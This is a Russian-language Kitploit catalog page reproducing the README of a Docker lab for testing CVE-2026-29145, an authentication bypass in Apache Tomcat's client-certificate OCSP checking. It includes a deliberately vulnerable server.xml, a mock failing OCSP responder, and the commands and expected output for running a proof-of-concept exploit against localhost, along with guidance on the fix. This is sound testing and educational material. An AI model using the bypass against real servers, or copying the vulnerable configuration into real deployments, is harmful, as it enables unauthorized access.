Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29145-Tester — Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145. | Kitploit
Инструменты/GitHubGitHub/sancliffe/cve-2026-29145-tester
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubsancliffe/cve-2026-29145-tester

CVE-2026-29145-Tester

Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Среда тестирования CVE-2026-29145

📌 Обзор

Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.

Уязвимость представляет собой обход аутентификации в реализации Mutual TLS (CLIENT_CERT) в Apache Tomcat. Когда OCSP (Online Certificate Status Protocol) настроен с отключённым soft-fail, Tomcat может не рассматривать сбой проверки OCSP как жёсткий отказ. Это позволяет клиенту с потенциально отозванным или непроверенным сертификатом обойти аутентификацию, если OCSP-ответчик недоступен или возвращает ошибку.

🛡️ Детали уязвимости

СвойствоЗначение
CVE IDCVE-2026-29145
CVSS Score9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Вектор атакиСеть
Требуемые привилегииНет
ВоздействиеОбход аутентификации

Предварительные условия для уязвимости

  • ✓ Аутентификация CLIENT_CERT включена в Tomcat
  • ✓ Проверка отзыва OCSP включена
  • ✓ Опция soft-fail отключена (режим hard-fail)
  • ✓ Недоступный или неисправный OCSP-ответчик

🚀 Начало работы

Предварительные требования

  • Docker и Docker Compose: Для запуска уязвимого контейнера Tomcat
  • OpenSSL: Для генерации PKI (инфраструктуры открытых ключей) — обычно предустановлен в Linux/macOS
  • Python 3.7+: Для запуска тестового скрипта и имитации ответчика
  • curl (необязательно): Для ручного тестирования
  • PowerShell (только Windows): Если используются скрипты .ps1

1. Автоматизированный полный цикл тестирования (рекомендуется)

Скрипт run_test.sh автоматизирует весь процесс: очистку, генерацию сертификатов и запуск всех тестовых сценариев (уязвимый, успешный и исправленный).

root@kitploit:~
# Переход в каталог проекта
cd CVE-2026-29145-Tester

# Сделать скрипты исполняемыми
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Установка зависимостей Python (если требуются для poc_exploit.py)
pip install -r requirements.txt

# Запуск полного набора тестов
./run_test.sh

2. Генерация сертификатов

На Linux/macOS:

root@kitploit:~
./setup_certs.sh

На Windows (PowerShell):

root@kitploit:~
.\setup_certs.ps1

Что это делает:

  • Создаёт корневой ЦС (центр сертификации)
  • Генерирует серверный сертификат для Tomcat
  • Генерирует клиентский сертификат с расширением OCSP, указывающим на http://localhost:8888
  • Проверяет, что все сертификаты созданы успешно

Ожидаемый вывод:

root@kitploit:~
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!

3. Запуск уязвимой среды

root@kitploit:~
docker-compose up -d

Что это делает:

  • Запускает имитацию OCSP-ответчика на порту 8888 (имитирует сбой с HTTP 500)
  • Запускает уязвимый Tomcat 10.1.52 на порту 8443 с аутентификацией CLIENT_CERT
  • Создаёт внутреннюю сеть Docker для взаимодействия сервисов
  • Настраивает проверки работоспособности для обоих сервисов

Проверка запущенных контейнеров:

root@kitploit:~
docker-compose ps

4. Запуск теста эксплуатации

root@kitploit:~
python poc_exploit.py

Ожидаемые результаты:

Уязвимая система:

root@kitploit:~
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...

Исправленная система:

root@kitploit:~
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).

🧪 Сценарии тестирования

СценарийСтатус OCSPОжидаемый (исправленный)Результат (уязвимый)Примечания
Нормальная работаОнлайн и действителен200 OK ✓200 OK ✓Проверка OCSP успешна, доступ разрешён
Мягкий сбойОфлайн/таймаут403 Forbidden ✓200 OK ✗ОБХОД - OCSP-ответчик недоступен
Жёсткий отзывОнлайн и отозван403 Forbidden ✓403 Forbidden ✓Сертификат явно отозван
Недействительный сертификатНедействительная цепочка403 Forbidden ✓403 Forbidden ✓Проверка цепочки не пройдена

Запуск различных сценариев тестирования

Тест 1: По умолчанию (сбой OCSP-ответчика)

root@kitploit:~
# Оставить контейнеры запущенными
python poc_exploit.py

Тест 2: Остановка OCSP-ответчика (имитация таймаута)

root@kitploit:~
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Тест 3: Ручное тестирование с помощью curl

root@kitploit:~
curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ Структура проекта

root@kitploit:~
CVE-2026-29145-Tester/
├── README.md                    # Этот файл
├── setup_certs.sh              # Скрипт генерации сертификатов - Bash (Linux/macOS)
├── setup_certs.ps1             # Скрипт генерации сертификатов - PowerShell (Windows)
├── cleanup.sh                  # Скрипт очистки и сброса - Bash (Linux/macOS)
├── cleanup.ps1                 # Скрипт очистки и сброса - PowerShell (Windows)
├── run_test.sh                 # Скрипт автоматизированного полного цикла тестирования
├── docker-compose.yml          # Оркестрация сервисов Docker
├── requirements.txt            # Зависимости Python
├── poc_exploit.py              # Основной тестовый скрипт (с логированием и обработкой ошибок)
├── simple_proxy_fail.py        # Имитация OCSP-ответчика (с подробным логированием)
├── .gitignore                  # Правила Git ignore для сертификатов и логов
├── certs/                      # Сгенерированные сертификаты (создаются скриптами setup_certs)
│   ├── ca-chain.pem           # Сертификат корневого ЦС
│   ├── ca-key.pem             # Закрытый ключ корневого ЦС
│   ├── server-cert.pem        # Серверный сертификат Tomcat
│   ├── server-key.pem         # Закрытый ключ сервера Tomcat
│   ├── client-cert.pem        # Тестовый клиентский сертификат
│   └── client-key.pem         # Закрытый ключ тестового клиента
├── tomcat/
│   └── server.xml             # Уязвимая конфигурация Tomcat
└── logs/                       # Логи Tomcat (создаются во время выполнения)

📋 Детали конфигурации

Конфигурация Server.xml (уязвимая)

Файл tomcat/server.xml настраивает:

root@kitploit:~
<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Ключевые настройки:

  • certificateVerification="required" - Обеспечивает аутентификацию CLIENT_CERT
  • OCSP on - Включает проверку отзыва OCSP
  • Нет переопределения soft-fail - Используется режим hard-fail (уязвимый)

Конфигурация OCSP-ответчика

Имитация OCSP-ответчика (simple_proxy_fail.py):

  • Прослушивает localhost:8888
  • Всегда возвращает HTTP 500 (ошибка сервера)
  • Логирует все входящие OCSP-запросы
  • Имитирует недоступный/неисправный OCSP-сервис

🔧 Устранение неполадок

Распространённые проблемы и решения

❌ Ошибка: «OpenSSL is not installed»

root@kitploit:~
# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Ошибка: «Missing certificate files»

Причина: Генерация сертификатов не удалась или не была запущена.

root@kitploit:~
# Очистка и повторная генерация
rm -rf certs
./setup_certs.sh

❌ Ошибка: «Connection refused» на порту 8443

Причина: Контейнер Tomcat не запущен или не готов.

root@kitploit:~
# Проверка статуса контейнера
docker-compose ps

# Проверка логов
docker-compose logs vulnerable-tomcat

# Убедиться, что оба сервиса запущены и работают
docker-compose up -d
sleep 10  # Ожидание запуска сервисов

❌ Ошибка: «Connection timeout»

Причина: Tomcat запускается слишком долго или проблемы с сетью.

root@kitploit:~
# Проверка логов запуска Tomcat
docker-compose logs vulnerable-tomcat

# Увеличение таймаута и повторная попытка
timeout 30 docker-compose logs -f vulnerable-tomcat  # Мониторинг запуска

❌ Ошибка: «docker-compose: command not found»

Причина: Docker Compose не установлен или не в PATH.

root@kitploit:~
# Установка Docker Compose (если используется отдельная версия)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# Или используйте docker compose (V2, встроенный в Docker Desktop)
docker compose up -d

❌ Ошибка: «SSL: CERTIFICATE_VERIFY_FAILED»

Причина: Не удалась проверка сертификата.

root@kitploit:~
# Проверка наличия файлов сертификатов
ls -la certs/

# Проверка действительности сертификата
openssl x509 -in certs/client-cert.pem -noout -text

❌ Ошибка: «requests.exceptions.SSLError»

Причина: Сбой рукопожатия SSL — может указывать на то, что hard-fail работает корректно.

Решение: Это на самом деле положительный признак! Hard-fail предотвращает доступ при сбое OCSP.

root@kitploit:~
# Проверка, запущен ли OCSP-ответчик
docker-compose ps ocsp-responder

# Просмотр подробной ошибки
python poc_exploit.py  # Уже предоставляет подробное логирование

❌ Ошибка: «Address already in use»

Причина: Порт 8443 или 8888 уже используется.

root@kitploit:~
# Поиск процесса, использующего порт
lsof -i :8443
lsof -i :8888

# Завершение процесса или использование других портов в docker-compose.yml

Отладка и логи

Просмотр подробных логов

root@kitploit:~
# Логи Tomcat
docker-compose logs -f vulnerable-tomcat

# Логи OCSP-ответчика
docker-compose logs -f ocsp-responder

# Отладка скрипта Python
python poc_exploit.py  # Уже включает подробное логирование

Мониторинг событий в реальном времени

root@kitploit:~
# Открыть терминал и запустить
docker-compose logs -f

# В другом терминале запустить тест
python poc_exploit.py

Сетевая отладка

root@kitploit:~
# Проверка подключения к OCSP-ответчику
curl http://localhost:8888/

# Проверка OCSP-ответчика из контейнера Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/

# Проверка рукопожатия SSL
openssl s_client -connect localhost:8443 \
  -cert certs/client-cert.pem \
  -key certs/client-key.pem \
  -CAfile certs/ca-chain.pem

🧹 Очистка

Для удаления всех контейнеров, томов, сертификатов и логов:

На Linux/macOS:

root@kitploit:~
./cleanup.sh

На Windows (PowerShell):

root@kitploit:~
.\cleanup.ps1

Что это делает:

  • Останавливает и удаляет все контейнеры Docker
  • Удаляет сгенерированный каталог certs/
  • Удаляет каталог logs/
  • Очищает кэш-файлы Python

Проверка очистки:

root@kitploit:~
docker-compose ps  # Должно ничего не показывать
ls -la certs/      # Каталог не должен существовать

⚖️ Отказ от ответственности

Этот проект предназначен только для образовательных целей и авторизованного тестирования безопасности.

  • ⚠️ Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение
  • ⚠️ Использование этих инструментов против систем без авторизации незаконно и неэтично
  • ⚠️ Авторы не несут ответственности за любое неправомерное использование этого программного обеспечения
  • ⚠️ Всегда убедитесь, что у вас есть надлежащие резервные копии перед тестированием на производственных системах

📝 Устранение уязвимости

Для устранения этой уязвимости обновите Apache Tomcat до следующих версий:

Серия версийМинимальная исправленная версия
11.0.x11.0.20 или новее
10.1.x10.1.53 или новее
9.0.x9.0.116 или новее

Шаги обновления:

root@kitploit:~
# Пример: Обновление docker-compose.yml для использования исправленной версии
# Изменить: image: tomcat:10.1.52-jdk17
# На: image: tomcat:10.1.53-jdk17

docker-compose down
docker-compose up -d

🔗 Ссылки

  • Детали CVE-2026-29145
  • Документация Apache Tomcat
  • OCSP (RFC 6960)
  • Обзор Mutual TLS (mTLS)

📬 Поддержка

По вопросам, проблемам или предложениям, пожалуйста, откройте issue или отправьте pull request.


Последнее обновление: апрель 2026
Статус: Тестирование и документация завершены

Скачать инструмент